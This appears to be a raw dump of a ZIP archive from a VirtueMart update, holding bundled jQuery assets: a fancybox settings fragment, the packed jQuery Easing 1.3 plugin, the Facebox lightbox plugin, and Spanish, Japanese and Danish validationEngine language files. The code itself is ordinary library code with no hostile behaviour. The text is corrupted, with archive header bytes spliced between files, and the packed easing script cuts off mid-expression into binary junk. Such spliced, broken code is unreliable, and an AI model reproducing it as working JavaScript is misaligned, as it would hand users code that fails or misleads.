'swing', easingOut : 'swing', showCloseButton : true, showNavArrows : true, enableEscapeButton : true, enableKeyboardNav : true, onStart : function(){}, onCancel : function(){}, onComplete : function(){}, onCleanup : function(){}, onClosed : function(){}, onError : function(){} }; $(document).ready(function() { $.fancybox.init(); }); })(jQuery);PKtl>\ e==\com_virtuemart_update/components/com_virtuemart/assets/js/fancybox/jquery.easing-1.3.pack.jsnuW+A/* * jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/ * * Uses the built in easing capabilities added In jQuery 1.1 * to offer multiple easing options * * TERMS OF USE - jQuery Easing * * Open source under the BSD License. * * Copyright © 2008 George McGinley Smith * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the author nor the names of contributors may be used to endorse * or promote products derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * */ // t: current time, b: begInnIng value, c: change In value, d: duration eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('h.i[\'1a\']=h.i[\'z\'];h.O(h.i,{y:\'D\',z:9(x,t,b,c,d){6 h.i[h.i.y](x,t,b,c,d)},17:9(x,t,b,c,d){6 c*(t/=d)*t+b},D:9(x,t,b,c,d){6-c*(t/=d)*(t-2)+b},13:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t+b;6-c/2*((--t)*(t-2)-1)+b},X:9(x,t,b,c,d){6 c*(t/=d)*t*t+b},U:9(x,t,b,c,d){6 c*((t=t/d-1)*t*t+1)+b},R:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t*t+b;6 c/2*((t-=2)*t*t+2)+b},N:9(x,t,b,c,d){6 c*(t/=d)*t*t*t+b},M:9(x,t,b,c,d){6-c*((t=t/d-1)*t*t*t-1)+b},L:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t*t*t+b;6-c/2*((t-=2)*t*t*t-2)+b},K:9(x,t,b,c,d){6 c*(t/=d)*t*t*t*t+b},J:9(x,t,b,c,d){6 c*((t=t/d-1)*t*t*t*t+1)+b},I:9(x,t,b,c,d){e((t/=d/2)<1)6 c/2*t*t*t*t*t+b;6 c/2*((t-=2)*t*t*t*t+2)+b},G:9(x,t,b,c,d){6-c*8.C(t/d*(8.g/2))+c+b},15:9(x,t,b,c,d){6 c*8.n(t/d*(8.g/2))+b},12:9(x,t,b,c,d){6-c/2*(8.C(8.g*t/d)-1)+b},Z:9(x,t,b,c,d){6(t==0)?b:c*8.j(2,10*(t/d-1))+b},Y:9(x,t,b,c,d){6(t==d)?b+c:c*(-8.j(2,-10*t/d)+1)+b},W:9(x,t,b,c,d){e(t==0)6 b;e(t==d)6 b+c;e((t/=d/2)<1)6 c/2*8.j(2,10*(t-1))+b;6 c/2*(-8.j(2,-10*--t)+2)+b},V:9(x,t,b,c,d){6-c*(8.o(1-(t/=d)*t)-1)+b},S:9(x,t,b,c,d){6 c*8.o(1-(t=t/d-1)*t)+b},Q:9(x,t,b,c,d){e((t/=d/2)<1)6-c/2*(8.o(1-t*t)-1)+b;6 c/2*(8.o(1-(t-=2)*t)+1)+b},P:9(x,t,b,c,d){f s=1.l;f p=0;f a=c;e(t==0)6 b;e((t/=d)==1)6 b+c;e(!p)p=d*.3;e(a<8.w(c)){a=c;f s=p/4}m f s=p/(2*8.g)*8.r(c/a);6-(a*8.j(2,10*(t-=1))*8.n((t*d-s)*(2*8.g)/p))+b},H:9(x,t,b,c,d){f s=1.l;f p=0;f a=c;e(t==0)6 b;e((t/=d)==1)6 b+c;e(!p)p=d*.3;e(a<8.w(c)){a=c;f s=p/4}m f s=p/(2*8.g)*8.r(c/a);6 a*8.j(2,-10*t)*8.n((t*d-s)*(2*8.g)/p)+c+b},T:9(x,t,b,c,d){f s=1.l;f p=0;f a=c;e(t==0)6 b;e((t/=d/2)==2)6 b+c;e(!p)p=d*(.3*1.5);e(a<8.w(c)){a=c;f s=p/4}m f s=p/(2*8.g)*8.r(c/a);e(t<1)6-.5*(a*8.j(2,10*(t-=1))*8.n((t*d-s)*(2*8.g)/p))+b;6 a*8.j(2,-10*(t-=1))*8.n((t*d-s)*(2*8.g)/p)*.5+c+b},F:9(x,t,b,c,d,s){e(s==u)s=1.l;6 c*(t/=d)*t*((s+1)*t-s)+b},E:9(x,t,b,c,d,s){e(s==u)s=1.l;6 c*((t=t/d-1)*t*((s+1)*t+s)+1)+b},16:9(x,t,b,c,d,s){e(s==u)s=1.l;e((t/=d/2)<1)6 c/2*(t*t*(((s*=(1.B))+1)*t-s))+b;6 c/2*((t-=2)*t*(((s*=(1.B))+1)*t+s)+2)+b},A:9(x,t,b,c,d){6 c-h.i.v(x,d-t,0,c,d)+b},v:9(x,t,b,c,d){e((t/=d)<(1/2.k)){6 c*(7.q*t*t)+b}m e(t<(2/2.k)){6 c*(7.q*(t-=(1.5/2.k))*t+.k)+b}m e(t<(2.5/2.k)){6 c*(7.q*(t-=(2.14/2.k))*t+.11)+b}m{6 c*(7.q*(t-=(2.18/2.k))*t+.19)+b}},1b:9(x,t,b,c,d){e(t\M((Dcom_virtuemart_update/components/com_virtuemart/assets/js/facebox.jsnuW+A/* * Facebox (for jQuery) * version: 1.2 (05/05/2008) * @requires jQuery v1.2 or later * * Examples at http://famspam.com/facebox/ * * Licensed under the MIT: * http://www.opensource.org/licenses/mit-license.php * * Copyright 2007, 2008 Chris Wanstrath [ chris@ozmm.org ] * * Usage: * * jQuery(document).ready(function() { * jQuery('a[rel*=facebox]').facebox() * }) * * Terms * Loads the #terms div in the box * * Terms * Loads the terms.html page in the box * * Terms * Loads the terms.png image in the box * * * You can also use it programmatically: * * jQuery.facebox('some html') * jQuery.facebox('some html', 'my-groovy-style') * * The above will open a facebox with "some html" as the content. * * jQuery.facebox(function($) { * $.get('blah.html', function(data) { $.facebox(data) }) * }) * * The above will show a loading screen before the passed function is called, * allowing for a better ajaxy experience. * * The facebox function can also display an ajax page, an image, or the contents of a div: * * jQuery.facebox({ ajax: 'remote.html' }) * jQuery.facebox({ ajax: 'remote.html' }, 'my-groovy-style') * jQuery.facebox({ image: 'stairs.jpg' }) * jQuery.facebox({ image: 'stairs.jpg' }, 'my-groovy-style') * jQuery.facebox({ div: '#box' }) * jQuery.facebox({ div: '#box' }, 'my-groovy-style') * * Want to close the facebox? Trigger the 'close.facebox' document event: * * jQuery(document).trigger('close.facebox') * * Facebox also has a bunch of other hooks: * * loading.facebox * beforeReveal.facebox * reveal.facebox (aliased as 'afterReveal.facebox') * init.facebox * afterClose.facebox * * Simply bind a function to any of these hooks: * * $(document).bind('reveal.facebox', function() { ...stuff to do after the facebox and contents are revealed... }) * */ (function($) { $.facebox = function(data, klass) { $.facebox.loading() if (data.ajax) fillFaceboxFromAjax(data.ajax, klass) else if (data.iframe) fillFaceboxFromHref(data.iframe,klass, data.rev) else if (data.image) fillFaceboxFromImage(data.image, klass) else if (data.div) fillFaceboxFromHref(data.div, klass, data.rev) else if (data.text) fillFaceboxFromText(data.text, klass) else if ($.isFunction(data)) data.call($) else $.facebox.reveal(data, klass) } /* * Public, $.facebox methods */ $.extend($.facebox, { settings: { opacity : 0.6, overlay : true, loadingImage : '/components/com_virtuemart/assets/images/facebox/loading.gif', closeImage : '/components/com_virtuemart/assets/images/facebox/closelabel.png', imageTypes : [ 'png', 'jpg', 'jpeg', 'gif' ], faceboxHtml : '\ ' }, loading: function() { init() if ($('#facebox .loading').length == 1) return true showOverlay() $('#facebox .content').empty() $('#facebox .body').children().hide().end(). append('
      ') // $('#facebox').css({ // top: 100 , // getPageScroll()[1] + (getPageHeight() / 10), // left: $(window).width() / 2 - 205 // }).show() $('#facebox').css({ top: getPageScroll()[1] + ($(window).height() / 10), left: ($(window).width() - $('#facebox').width()) / 2 }).show() $(document).bind('keydown.facebox', function(e) { if (e.keyCode == 27) $.facebox.close() return true }) $(document).trigger('loading.facebox') }, reveal: function(data, klass) { $(document).trigger('beforeReveal.facebox') if (klass) $('#facebox .content').addClass(klass) $('#facebox .content').append(data) $('#facebox .loading').remove() $('#facebox .body').children().fadeIn('normal') $('#facebox').css('left', $(window).width() / 2 - ($('#facebox .popup').width() / 2)) $(document).trigger('reveal.facebox').trigger('afterReveal.facebox') }, close: function() { $(document).trigger('close.facebox') return false } }) /* * Public, $.fn methods */ $.fn.facebox = function(settings) { if ($(this).length == 0) return init(settings) function clickHandler() { $.facebox.loading(true) // support for rel="facebox.inline_popup" syntax, to add a class // also supports deprecated "facebox[.inline_popup]" syntax var klass = this.rel.match(/facebox\[?\.(\w+)\]?/) if (klass) klass = klass[1] fillFaceboxFromHref(this.href, klass, this.rev) return false } return this.bind('click.facebox', clickHandler) } /* * Private methods */ // called one time to setup facebox on this page function init(settings) { if ($.facebox.settings.inited) return true else $.facebox.settings.inited = true $(document).trigger('init.facebox') makeCompatible() var imageTypes = $.facebox.settings.imageTypes.join('|') $.facebox.settings.imageTypesRegexp = new RegExp('\.(' + imageTypes + ')$', 'i') if (settings) $.extend($.facebox.settings, settings) $('body').append($.facebox.settings.faceboxHtml) var preload = [ new Image(), new Image() ] preload[0].src = $.facebox.settings.closeImage preload[1].src = $.facebox.settings.loadingImage $('#facebox').find('.b:first, .bl').each(function() { preload.push(new Image()) preload.slice(-1).src = $(this).css('background-image').replace(/url\((.+)\)/, '$1') }) $('#facebox .close').click($.facebox.close) $('#facebox .close_image').attr('src', $.facebox.settings.closeImage) } // getPageScroll() by quirksmode.com function getPageScroll() { var xScroll, yScroll; if (self.pageYOffset) { yScroll = self.pageYOffset; xScroll = self.pageXOffset; } else if (document.documentElement && document.documentElement.scrollTop) { // Explorer 6 Strict yScroll = document.documentElement.scrollTop; xScroll = document.documentElement.scrollLeft; } else if (document.body) {// all other Explorers yScroll = document.body.scrollTop; xScroll = document.body.scrollLeft; } return new Array(xScroll,yScroll) } // Adapted from getPageSize() by quirksmode.com function getPageHeight() { var windowHeight if (self.innerHeight) { // all except Explorer windowHeight = self.innerHeight; } else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode windowHeight = document.documentElement.clientHeight; } else if (document.body) { // other Explorers windowHeight = document.body.clientHeight; } return windowHeight } // Backwards compatibility function makeCompatible() { var $s = $.facebox.settings $s.loadingImage = $s.loading_image || $s.loadingImage $s.closeImage = $s.close_image || $s.closeImage $s.imageTypes = $s.image_types || $s.imageTypes $s.faceboxHtml = $s.facebox_html || $s.faceboxHtml } // Figures out what you want to display and displays it // formats are: // div: #id // image: blah.extension // ajax: anything else function fillFaceboxFromHref(href, klass, rev ) { // div if (href.match(/#/)) { var url = window.location.href.split('#')[0] var target = href.replace(url,'') if (target == '#') return $.facebox.reveal($(target).html(), klass) // iframe } else if (rev.split('|')[0] == 'iframe') { fillFaceboxFromIframe(href, klass, rev.split('|')[1],rev.split('|')[2]) // image } else if (href.match($.facebox.settings.imageTypesRegexp)) { fillFaceboxFromImage(href, klass) // ajax } else { fillFaceboxFromAjax(href, klass) } } function fillFaceboxFromIframe(href, klass, height, width) { $.facebox.reveal('', klass) } function fillFaceboxFromImage(href, klass) { var image = new Image() image.onload = function() { $.facebox.reveal('
      ', klass) } image.src = href } function fillFaceboxFromText(text, klass) { $.facebox.reveal('
      '+ text + '
      ', klass) } function fillFaceboxFromAjax(href, klass) { $.get(href, function(data) { $.facebox.reveal(data, klass) }) } function skipOverlay() { return $.facebox.settings.overlay == false || $.facebox.settings.opacity === null } function showOverlay() { if (skipOverlay()) return if ($('#facebox_overlay').length == 0) $("body").append('
      ') $('#facebox_overlay').hide().addClass("facebox_overlayBG") .css('opacity', $.facebox.settings.opacity) .click(function() { $(document).trigger('close.facebox') }) .fadeIn(200) return false } function hideOverlay() { if (skipOverlay()) return $('#facebox_overlay').fadeOut(200, function(){ $("#facebox_overlay").removeClass("facebox_overlayBG") $("#facebox_overlay").addClass("facebox_hide") $("#facebox_overlay").remove() }) return false } /* * Bindings */ $(document).bind('close.facebox', function() { $(document).unbind('keydown.facebox') $('#facebox').fadeOut(function() { $('#facebox .content').removeClass().addClass('content') $('#facebox .loading').remove() $(document).trigger('afterClose.facebox') }) hideOverlay() }) $(document).bind('afterReveal.facebox', function() { var windowHeight = $(window).height(); var faceboxHeight = $('#facebox').height(); if(faceboxHeight < windowHeight) { var scrolltop = $(window).scrollTop(); var top = Math.floor((windowHeight - faceboxHeight) / 2) + scrolltop; $('#facebox').css('top', (top)); } else { $('#facebox').css('top',$(window).scrollTop() ); } }); })(jQuery); PKtl>\Tq#Ncom_virtuemart_update/components/com_virtuemart/assets/js/jquery.noconflict.jsnuW+AjQuery.noConflict();PKtl>\"Y=acom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-es.jsnuW+A (function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Este campo es requerido", "alertTextCheckboxMultiple": "* Por favor selecciona una opción", "alertTextCheckboxe": "* Este checkbox está requerido" }, "minSize": { "regex": "none", "alertText": "* Mínimo de ", "alertText2": " caracteres autorizados" }, "maxSize": { "regex": "none", "alertText": "* Máximo de ", "alertText2": " caracteres autorizados" }, "min": { "regex": "none", "alertText": "* Valor mínimo es " }, "max": { "regex": "none", "alertText": "* Valor máximo es " }, "past": { "regex": "none", "alertText": "* Fecha anterior a " }, "future": { "regex": "none", "alertText": "* Fecha posterior a " }, "maxCheckbox": { "regex": "none", "alertText": "* Se ha excedido el número de opciones permitidas" }, "minCheckbox": { "regex": "none", "alertText": "* Por favor seleccione ", "alertText2": " opciones" }, "equals": { "regex": "none", "alertText": "* Los campos no coinciden" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Número de teléfono inválido" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Correo inválido" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* No es un valor entero válido" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* No es un valor decimal válido" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Fecha inválida, por favor utilize el formato AAAA-MM-DD" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Direccion IP inválida" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URL Inválida" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Sólo números" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Sólo letras" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* No se permiten caracteres especiales" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertTextLoad": "* Cargando, espere por favor", "alertText": "* Este nombre de usuario ya se encuentra usado" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Este nombre ya se encuentra usado", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Este nombre está disponible", // speaks by itself "alertTextLoad": "* Cargando, espere por favor" }, "validate2fields": { "alertText": "* Por favor entrar HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKtl>\+.> > acom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-ja.jsnuW+A;/***************************************************************** * Japanese language file for jquery.validationEngine.js (ver2.0) * * Transrator: tomotomo ( Tomoyuki SUGITA ) * http://tomotomoSnippet.blogspot.com/ * Licenced under the MIT Licence *******************************************************************/ (function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* 必須項目です", "alertTextCheckboxMultiple": "* 選択してください", "alertTextCheckboxe": "* チェックボックスをチェックしてください" }, "minSize": { "regex": "none", "alertText": "* ", "alertText2": "文字以上にしてください" }, "maxSize": { "regex": "none", "alertText": "* ", "alertText2": "文字以下にしてください" }, "min": { "regex": "none", "alertText": "* ", "alertText2": " 以上の数値にしてください" }, "max": { "regex": "none", "alertText": "* ", "alertText2": " 以下の数値にしてください" }, "past": { "regex": "none", "alertText": "* ", "alertText2": " より過去の日付にしてください" }, "future": { "regex": "none", "alertText": "* ", "alertText2": " より最近の日付にしてください" }, "maxCheckbox": { "regex": "none", "alertText": "* チェックしすぎです" }, "minCheckbox": { "regex": "none", "alertText": "* ", "alertText2": "つ以上チェックしてください" }, "equals": { "regex": "none", "alertText": "* 入力された値が一致しません" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* 電話番号が正しくありません" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* メールアドレスが正しくありません" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* 整数を半角で入力してください" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* 数値を半角で入力してください" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* 日付は半角で YYYY-MM-DD の形式で入力してください" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* IPアドレスが正しくありません" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URLが正しくありません" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* 半角数字で入力してください" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* 半角アルファベットで入力してください" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* 半角英数で入力してください" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* This user is already taken", "alertTextLoad": "* Validating, please wait" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* This name is already taken", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* This name is available", // speaks by itself "alertTextLoad": "* Validating, please wait" }, "validate2fields": { "alertText": "* 『HELLO』と入力してください" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKtl>\4RRacom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-da.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Dette felt kræves udfyldt", "alertTextCheckboxMultiple": "* Vælg venligst en af mulighederne", "alertTextCheckboxe": "* Dette felt er krævet" }, "minSize": { "regex": "none", "alertText": "* Minimum ", "alertText2": " tegn tilladt" }, "maxSize": { "regex": "none", "alertText": "* Maksimum ", "alertText2": " tegn tilladt" }, "min": { "regex": "none", "alertText": "* Den mindste værdi er " }, "max": { "regex": "none", "alertText": "* Den maksimale værdi er " }, "past": { "regex": "none", "alertText": "* Datoen skal være før " }, "future": { "regex": "none", "alertText": "* Datoen skal være efter " }, "maxCheckbox": { "regex": "none", "alertText": "* Antallet af valg overskredet" }, "minCheckbox": { "regex": "none", "alertText": "* Vælg venligst ", "alertText2": " muligheder" }, "equals": { "regex": "none", "alertText": "* Felterne er ikke ens" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Ikke gyldig telefonnummer" 